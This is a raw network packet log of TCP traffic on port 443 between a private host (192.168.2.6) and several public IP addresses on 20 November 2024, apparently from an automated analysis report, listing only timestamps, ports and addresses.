Nov 20, 2024 08:12:51.877024889 CET	443	49936	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.877367020 CET	49936	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.877377033 CET	443	49936	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.954257965 CET	443	49934	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.954479933 CET	443	49934	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.954528093 CET	49934	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.968286991 CET	443	49937	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.969535112 CET	443	49933	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.969892979 CET	443	49933	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.969933987 CET	49933	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.969937086 CET	443	49933	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.969974041 CET	49933	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.982212067 CET	443	49935	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.982464075 CET	443	49935	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.982506990 CET	49935	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.983803988 CET	443	49937	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.983860016 CET	49937	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.996799946 CET	443	49936	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.998361111 CET	443	49936	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.998420954 CET	443	49936	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:51.998460054 CET	49936	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:51.998460054 CET	49936	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.021632910 CET	49936	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.021632910 CET	49936	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.021651983 CET	443	49936	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.021661997 CET	443	49936	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.021677971 CET	49934	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.021709919 CET	443	49934	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.026029110 CET	49937	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.026029110 CET	49937	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.026056051 CET	443	49937	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.026067019 CET	443	49937	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.026284933 CET	49933	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.026314020 CET	443	49933	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.026340008 CET	49933	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.026345968 CET	443	49933	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.027888060 CET	49935	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.027888060 CET	49935	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.027895927 CET	443	49935	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.027905941 CET	443	49935	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.033736944 CET	49940	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.033766031 CET	443	49940	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.033868074 CET	49940	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.063056946 CET	49940	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.063072920 CET	443	49940	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.068747997 CET	49941	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.068794966 CET	443	49941	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.069066048 CET	49941	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.071456909 CET	49941	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.071466923 CET	443	49941	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.114106894 CET	49942	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.114145041 CET	443	49942	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.114295959 CET	49942	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.122000933 CET	49943	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.122050047 CET	443	49943	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.122400999 CET	49943	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.122442961 CET	49942	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.122461081 CET	443	49942	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.123137951 CET	49943	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.123147964 CET	443	49943	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.124583960 CET	49944	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.124609947 CET	443	49944	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.124730110 CET	49944	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.124804020 CET	49944	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.124811888 CET	443	49944	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.696705103 CET	443	49940	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.697864056 CET	49940	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.697864056 CET	49940	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.697884083 CET	443	49940	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.697897911 CET	443	49940	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.752827883 CET	443	49941	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.753778934 CET	49941	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.753778934 CET	49941	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.753798962 CET	443	49941	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.753814936 CET	443	49941	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.756942034 CET	443	49944	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.757627964 CET	49944	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.757654905 CET	443	49944	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.758975983 CET	49944	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.758984089 CET	443	49944	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.794850111 CET	443	49943	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.795345068 CET	49943	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.795356989 CET	443	49943	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.795525074 CET	443	49942	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.795855045 CET	49943	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.795859098 CET	443	49943	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.796256065 CET	49942	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.796272039 CET	443	49942	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.796724081 CET	49942	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.796736956 CET	443	49942	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.800765038 CET	443	49940	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.800961971 CET	443	49940	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.801068068 CET	49940	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.801068068 CET	49940	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.801068068 CET	49940	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.803841114 CET	49947	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.803879023 CET	443	49947	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:52.804137945 CET	49947	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.804137945 CET	49947	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:52.804167032 CET	443	49947	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.032280922 CET	443	49944	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.032310963 CET	443	49941	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.032341003 CET	443	49941	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.032346964 CET	443	49944	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.032383919 CET	443	49941	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.032393932 CET	49941	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.032397032 CET	49944	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.032471895 CET	49941	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.032943010 CET	49944	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.032969952 CET	443	49944	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.032983065 CET	49944	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.032989979 CET	443	49944	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.033096075 CET	443	49943	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.033495903 CET	443	49943	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.033538103 CET	49943	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.033596039 CET	443	49942	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.033624887 CET	443	49942	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.033674002 CET	443	49942	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.037014008 CET	49942	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.037014008 CET	49942	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.038388014 CET	49942	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.038412094 CET	443	49942	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.038547039 CET	49942	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.038556099 CET	443	49942	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.039216995 CET	49941	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.039233923 CET	443	49941	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.039247990 CET	49941	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.039258003 CET	443	49941	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.040452003 CET	49943	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.040460110 CET	443	49943	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.040473938 CET	49943	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.040477991 CET	443	49943	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.044476032 CET	49948	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.044517994 CET	443	49948	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.044588089 CET	49948	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.045922041 CET	49949	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.045954943 CET	443	49949	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.046010971 CET	49949	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.046211958 CET	49948	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.046224117 CET	443	49948	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.047430038 CET	49950	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.047441959 CET	443	49950	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.047491074 CET	49950	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.047622919 CET	49950	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.047631025 CET	443	49950	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.047864914 CET	49949	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.047875881 CET	443	49949	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.048835039 CET	49951	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.048845053 CET	443	49951	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.048954964 CET	49951	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.049171925 CET	49951	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.049179077 CET	443	49951	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.117008924 CET	49940	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.117038965 CET	443	49940	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.477092981 CET	443	49947	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.526909113 CET	49947	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.554860115 CET	49947	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.554869890 CET	443	49947	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.555450916 CET	49947	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.555454969 CET	443	49947	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.622257948 CET	49952	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:53.622298002 CET	443	49952	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:53.622410059 CET	49952	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:53.623025894 CET	49952	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:53.623043060 CET	443	49952	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:53.657241106 CET	443	49947	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.657326937 CET	443	49947	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.657380104 CET	49947	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.680152893 CET	443	49948	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.683029890 CET	443	49949	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.686026096 CET	443	49950	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.691077948 CET	49947	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.691106081 CET	443	49947	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.699322939 CET	49948	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.699352026 CET	443	49948	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.700146914 CET	49948	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.700153112 CET	443	49948	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.704041958 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.704072952 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.704394102 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.704679012 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:53.704698086 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:53.704749107 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:53.706265926 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:53.706283092 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:53.706420898 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.706443071 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.708026886 CET	49949	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.708051920 CET	443	49949	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.708811998 CET	49949	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.708817005 CET	443	49949	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.709206104 CET	49950	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.709219933 CET	443	49950	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.709882975 CET	49950	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.709887981 CET	443	49950	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.714042902 CET	49958	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.714073896 CET	443	49958	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.714133024 CET	49958	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.717027903 CET	49958	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.717068911 CET	443	49958	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.720072031 CET	443	49951	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.720531940 CET	49951	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.720554113 CET	443	49951	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.721054077 CET	49951	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.721059084 CET	443	49951	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.796634912 CET	443	49948	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.796904087 CET	443	49948	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.796950102 CET	49948	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.796979904 CET	49948	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.796998024 CET	443	49948	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.797009945 CET	49948	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.797015905 CET	443	49948	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.801398039 CET	49959	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.801429987 CET	443	49959	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.801491976 CET	49959	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.801644087 CET	49959	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.801652908 CET	443	49959	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.806768894 CET	443	49950	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.807202101 CET	443	49950	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.807252884 CET	49950	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.809568882 CET	443	49949	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.809603930 CET	443	49949	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.809654951 CET	443	49949	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.809690952 CET	49949	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.809715986 CET	49949	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.810269117 CET	49950	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.810276985 CET	443	49950	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.810290098 CET	49950	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.810293913 CET	443	49950	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.810390949 CET	49949	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.810404062 CET	443	49949	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.810417891 CET	49949	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.810421944 CET	443	49949	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.815100908 CET	49960	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.815124035 CET	443	49960	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.815181017 CET	49960	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.817200899 CET	49960	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.817209959 CET	443	49960	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.827672005 CET	49961	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.827698946 CET	443	49961	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.827756882 CET	49961	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.828162909 CET	49961	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.828174114 CET	443	49961	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.840861082 CET	443	49951	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.840884924 CET	443	49951	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.840925932 CET	443	49951	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.840950012 CET	49951	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.840984106 CET	49951	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.881284952 CET	49951	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.881309986 CET	443	49951	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.881325006 CET	49951	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.881333113 CET	443	49951	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.885324001 CET	49962	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.885355949 CET	443	49962	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.885406971 CET	49962	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.885849953 CET	49962	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:53.885859013 CET	443	49962	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:53.981698036 CET	49963	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:12:53.981722116 CET	443	49963	142.250.185.228	192.168.2.6
Nov 20, 2024 08:12:53.981770992 CET	49963	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:12:53.981971979 CET	49963	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:12:53.981981039 CET	443	49963	142.250.185.228	192.168.2.6
Nov 20, 2024 08:12:54.175106049 CET	49964	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:54.175147057 CET	443	49964	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:54.175210953 CET	49964	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:54.176616907 CET	49964	443	192.168.2.6	184.28.90.27
Nov 20, 2024 08:12:54.176629066 CET	443	49964	184.28.90.27	192.168.2.6
Nov 20, 2024 08:12:54.371615887 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.372787952 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.372803926 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.373867989 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.373996973 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.375344038 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.375422001 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.376147032 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.413408995 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.413733959 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.413814068 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.415066957 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.415162086 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.416129112 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.416218042 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.416377068 CET	443	49958	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.416528940 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.416548967 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.417078972 CET	49958	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.417093992 CET	443	49958	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.417505026 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.417512894 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.417869091 CET	49958	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.417875051 CET	443	49958	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.448605061 CET	443	49959	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.449218988 CET	49959	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.449242115 CET	443	49959	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.449734926 CET	49959	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.449740887 CET	443	49959	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.456285954 CET	443	49952	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:54.456434011 CET	49952	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:54.458694935 CET	49952	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:54.458704948 CET	443	49952	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:54.458983898 CET	443	49952	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:54.461817980 CET	49952	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:54.462002039 CET	49952	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:54.462017059 CET	443	49952	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:54.462147951 CET	49952	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:54.463627100 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.463644028 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.481393099 CET	443	49960	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.481864929 CET	49960	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.481889963 CET	443	49960	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.482314110 CET	49960	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.482319117 CET	443	49960	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.490185976 CET	443	49961	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.490683079 CET	49961	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.490706921 CET	443	49961	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.491695881 CET	49961	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.491702080 CET	443	49961	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.506978035 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.506999016 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.507006884 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.507026911 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.507040024 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.507046938 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.507075071 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.507091045 CET	443	49956	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.507112980 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.507128954 CET	49956	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:54.507325888 CET	443	49952	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:54.539334059 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.539364100 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.539393902 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.539406061 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.539421082 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.539426088 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.539455891 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 08:12:54.539465904 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.539501905 CET	49957	443	192.168.2.6	13.107.246.45
Nov 20, 2024 08:12:54.544425011 CET	443	49962	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.547281981 CET	443	49958	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:54.547363043 CET	443	49958	13.107.246.42	192.168.2.6
